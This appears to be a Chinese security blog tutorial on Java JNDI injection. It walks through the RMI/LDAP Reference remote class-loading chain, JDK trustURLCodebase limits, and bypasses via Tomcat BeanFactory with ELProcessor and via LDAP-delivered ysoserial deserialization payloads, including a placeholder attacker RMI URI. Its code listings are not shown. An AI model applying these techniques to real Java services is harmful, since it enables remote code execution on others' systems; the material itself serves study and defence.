JNDI提供了一些API接口来实现查找和访问各种命名及目录服务,其中重点是这两个类:
InitialContext类
构造方法:
在这JDK里面给的解释是构建初始上下文,其实通俗点来讲就是获取初始目录环境。
常用方法:
Reference类
该类也是在javax.naming的一个类,所以在能使用的JNDI的客户端才能利用这个漏洞。该类表示对在命名/目录系统外部找到的对象的引用。提供了JNDI中类的引用功能。通俗的说也就是可以在当前环境用外部类。
构造方法:
参数1:className - 远程加载时所使用的类名
参数2:classFactory - 加载的class中需要实例化类的名称
参数3:classFactoryLocation - 提供classes数据的地址可以是file/ftp/http协议
这个参数1在这个链子中的意义不是很大,随便怎么填都不影响;他本来的作用应该是通过工厂类去加载的类的名字,但是在实例化工厂类的时候,就可以构造工厂类恶意的构造函数或者静态代码块等来实现rce了,所以没必要多此一举。
常用方法:
之前说过任何可以被远程调用方法的对象必须实现 java.rmi.Remote 接口,远程对象的实现类必须继承UnicastRemoteObject类。但由于Reference没有实现Remote接口,而且也没有继承UnicastRemoteObject类,所以不能作为一个远程对象绑定到Registry,所以后面用到的Reference需要使用ReferenceWrapper来对他的实例进行封装才可以远程调用
RMI实现JNDI注入
梳理了这些后来看看具体的实现
先编写恶意类
calc
:把编译好的class文件随便放在一个文件夹里
接着编写服务端代码:
代码意思就是把
referenceWrapper
这个对象绑定到了obj
这个名字上最后来写客户端的:
弄完后在calc.class文件夹起一个8080端口的服务,然后运行服务端和客户端就可以弹出来了
整个利用流程如下:
攻击者控制URI参数为恶意的RMI服务地址,如:rmi://hacker_rmi_server//name;
如果出不来的话需要把客户端的java版本调小一点。高版本不支持,这个后面分析的时候说。接下来再看具体的分析流程
分析流程
触发点在
InitialContext
类中的lookup
方法:里面返回的
getURLOrDefaultInitCtx
方法会根据传入的标识来返回一个URL
上下文,然后调用了另一个lookup
方法,先看看getURLOrDefaultInitCtx:
getURLOrDefaultInitCtx
函数会分析name
的协议头返回对应协议的环境对象,此处返回Context对象
的子类rmiURLContext对象
,由于rmiURLContext
里面没有lookup
方法,但他继承的GenericURLContext
类里面有lookup
,所以再进入到GenericURLContext类里的lookup方法
:这里也很清晰,就是一个返回RMI的注册中心对象,接着再一次调用注册中心的lookup去查找我们之前传入url后面想要查找的对象obj。
这里的var3是一个注册中心RegistryContext对象,所以说它会进入到RegistryContext类中的lookup方法:
这里也就是返回了RMI服务端的相关信息来通信以获取想要的对象,再进入到
decodeObject
方法里面:也就是在这里才开始出现了转机,代码中可以看出,这里会判断是否是
Reference
对象,如果不是的话这里还不会与服务器连接,后面就是正常的与RMI服务端通信的过程;如果是Reference
对象的话,会进入var.getReference()
,与RMI服务器进行一次连接,获取到远程class文件地址。继续跟进,进入到
NamingManager类
中的getObjectInstance方法
中:继续跟进getObjectFactoryFromReference方法:
注释中说的很清晰了,即会先在本地加载
工厂类calc
,如果loadClass
没有在本地找到该类,则它会调用getFactoryClassLocation
来获取远程URL地址,如果获取到的不为空,则这段代码:clas = helper.loadClass(factoryName, codebase)
;会直接根据远程URL地址使用类加载器URLClassLoader
来加载calc类
最后的
return (clas != null) ? (ObjectFactory) clas.newInstance() : null;
会实例化之前的恶意calc
类文件,而实例化会默认调用构造方法、静态代码块,所以这就可以成功完成整条链子的任意代码执行回看下
com/sun/naming/internal/VersionHelper.java#loadClass
的代码,为什么他可以远程获取类:可以看到确实是通过
URLClassLoader
来进行的远程动态类加载,实际上这种利用方式java在某些版本上是做了限制的,这个后面再讲。最后总结一下流程:
在JNDI服务里,RMI服务端既可以直接绑定远程对象,也可以通过
Reference
来绑定一个外部的远程对象,当这个恶意的
Reference
对象绑定到RMI注册中心,且经过一系列的判断之后,RMI服务端就会通过getReference()
方法来获取绑定对象的引用,然后当客户端通过lookup方法查找远程对象时,便会拿到相应的工厂类,最后就是进行实例化执行任意代码了
限制
最后我们来看一下,针对不同的JDK版本,官方给出了一些限制:
1、
JDK 6u45
、7u21之后
:java.rmi.server.useCodebaseOnly
的默认值被设置为true
,表示禁用自动加载远程类文件。2、
JDK 6u141
、7u131
、8u121
之后:增加了com.sun.jndi.rmi.object.trustURLCodebase
选项,默认为false
,禁止RMI
和CORBA
协议使用远程codebase
的选项。3、
JDK 6u211
、7u201
、8u191
之后:增加了com.sun.jndi.ldap.object.trustURLCodebase
选项,默认为false
,禁止LDAP
协议使用远程codebase
的选项这是
Oracle
官方对于Codebase
的说明:https://docs.oracle.com/javase/1.5.0/docs/guide/rmi/codebase.html意思就是它会指定Java程序在网络上加载类的路径,把他设置为
false
后就不能远程加载了,具体可以在代码中调试来看。LDAP
而LDAP的利用方法和RMI的也大同小异,也只是协议的不同造成,这里就不过多演示了。接下来看看前面限制过是怎么绕过的。
绕过限制
绕过有这两种方法:
先来看下加载本地类的方法
高版本的Java无法通过远程的
Codebase
来加载恶意的工厂类,此时如果利用的是类是存在于CLASSPATH
中的,那么在经过javax.naming.spi.NamingManager#getObjectFactoryFromReference
时便会先在本地CLASSPATH
里寻找是否存在该类,如果没有,则再总远程寻找,所以这就可以绕过版本限制在找本地可利用类时,由于之前
javax.naming.spi.NamingManager#getObjectFactoryFromReference
最后的return
语句存在类型转型,所以这个工厂类必须要实现javax.naming.spi.ObjectFactory
接口;并且还要至少有个getObjectInstance()
方法。但是在JDK提供的原生实现类里其实并没有操作空间。所以下面我们主要的思路就是在一些常用的框架或者组件中寻找可利用的ObjectFactory
实现类。,最终,安全人员找到了org.apache.naming.factory.BeanFactory
,且这个类存在于Tomcat
的依赖里,所以应用很广泛提示一下:之前远程加载的时候没有要求实现javax.naming.spi.ObjectFactory接口,是因为在命令执行点1:返回
(ObjectFactory) clas.newInstance()
的时候,newInstance()过后就已经完成攻击了,后面就算有报错也已经不影响了,而这里是要进入到第二个命令执行点,并且需要在getObjectInstance()
方法里面有恶意代码执行的位置才可以。pom依赖:
编写服务器代码:
然后编写客户端:
运行服务端与客户端,可以成功绕过版本限制,弹出计算器
现在来看下调用流程:
由于不能远程加载了,所以这里没有直接用
Reference
类,而是用了ResourceRef
类,ResourceRef
类是继承了Reference
类的。所以前面的链子是一样的ResourceRef
构造器的第七个参数factoryLocation
是远程加载factory
的地址,比如是一个url
,这里将其设置为null
,达到绕过ConfigurationException
限制。刚才说了前面链子的调用和之前的都差不多的,那么只是要着重看下
javax.naming.spi.NamingManager#getObjectInstance
的调用,之前说过它会通过getObjectFactoryFromReference
来获取一个实例化的对象,除此之外,它还有一行代码:也就是如果能找到其他类的
getObjectInstance
方法,那么就可以进行进一步的调用了接着来到
org.apache.naming.factory.BeanFactory
,它里面存在有getObjectInstance
方法,即会调用它的这个方法里面有反射的调用:
method.invoke
,里面的所有参数都来自Reference
。首先定义了目标类是
Object bean = beanClass.newInstance();
,这里指javax.el.ELProcessor
,所以这里其实有两个本地类
,ELProcessor
类是最终执行方法的类然后进入
RefAddr ra = ref.get("forceString");
,它会取出键值为forceString
的值,然后进行拆分,拆分后,= 左边的参数会存入hashmap的key,后续会通过这个key来获取 = 右边的参数作为反射的method
方法,这里可以让等号右边的值为javax.el.ELProcessor.eval
方法然后在对构造的属性
x
赋值,赋值为需要执行的恶意代码就可以了最后执行是因为本地类
javax.el.ELProcessor#eval
方法能够执行el表达式,el表达式的格式是${表达式}
这种格式的,调试的时候可以看到左下角的调用链,在反射调用eval后他其实是做了处理的,一步步调用把他包装成了合法格式。到此,本地调用的绕过就结束了,还有一点要注意:
javax.el.ELProcessor
本身是Tomcat8
中存在的库,所以仅限Tomcat8
及更高版本环境下可以通过javax.el.ELProcessor
进行攻击,对于使用广泛的SpringBoot
应用来说,可被利用的Spring Boot Web Starter
版本应在1.2.x
及以上,因为1.1.x及1.0.x内置的是Tomcat7
。绕过高版本JDK限制:利用LDAP返回序列化数据,触发本地Gadget
高版本
JVM
对Reference Factory
远程加载类进行了安全限制,JVM
不会信任LDAP对
象反序列化过程中加载的远程类。此时,攻击者仍然可以利用受害者本地CLASSPATH
中存在漏洞的反序列化Gadget达到绕过限制执行命令的目的。简而言之,
LDAP Server
除了使用JNDI Reference
进行利用之外,还支持直接返回一个对象的序列化数据。如果Java
对象的javaSerializedData
属性值不为空,则客户端的obj.decodeObject()
方法就会对这个字段的内容进行反序列化。其中具体的处理代码如下:可以看到这里有一个反序列化的操作,那么如果目标系统中存在着可利用的Gadgets所需的一些包(如Commons-Collections-3.2.1等),那么也就存在反序列化漏洞了。
攻击利用
假设目标环境存在
Commons-Collections-3.2.1包
,且存在JNDI的lookup()注入
或Fastjson反序列化漏洞
。pom包:
使用
ysoserial
工具生成Commons-Collections
这条Gadget
并进行Base64
编码输出:恶意LDAP服务器如下,如果是用自带的反序列化漏洞绕过限制的话只需要在
javaSerializedData
字段内填入刚刚生成的反序列化payload
数据,其他数据可以随便填,但是url那里必须要是url的格式,后面需要有一个#接上随便一个类名,例如:http://123/#zz
:客户端的代码:url要填对应的url,端口填上面设置的端口,后面的类也可以随便填
测试的时候注意把客户端的版本调高再测试噢!
参考文章
http://blog.o3ev.cn/yy/1278#top
https://blog.csdn.net/gental_z/article/details/122303540
https://www.cnblogs.com/nice0e3/p/13958047.html#0x03-jndi注入攻击
https://xz.aliyun.com/t/6633
https://kingx.me/Exploit-Java-Deserialization-with-RMI.html
https://tttang.com/archive/1611/
https://johnfrod.top/%E5%AE%89%E5%85%A8/%E9%AB%98%E4%BD%8Ejdk%E7%89%88%E6%9C%AC%E4%B8%ADjndi%E6%B3%A8%E5%85%A5/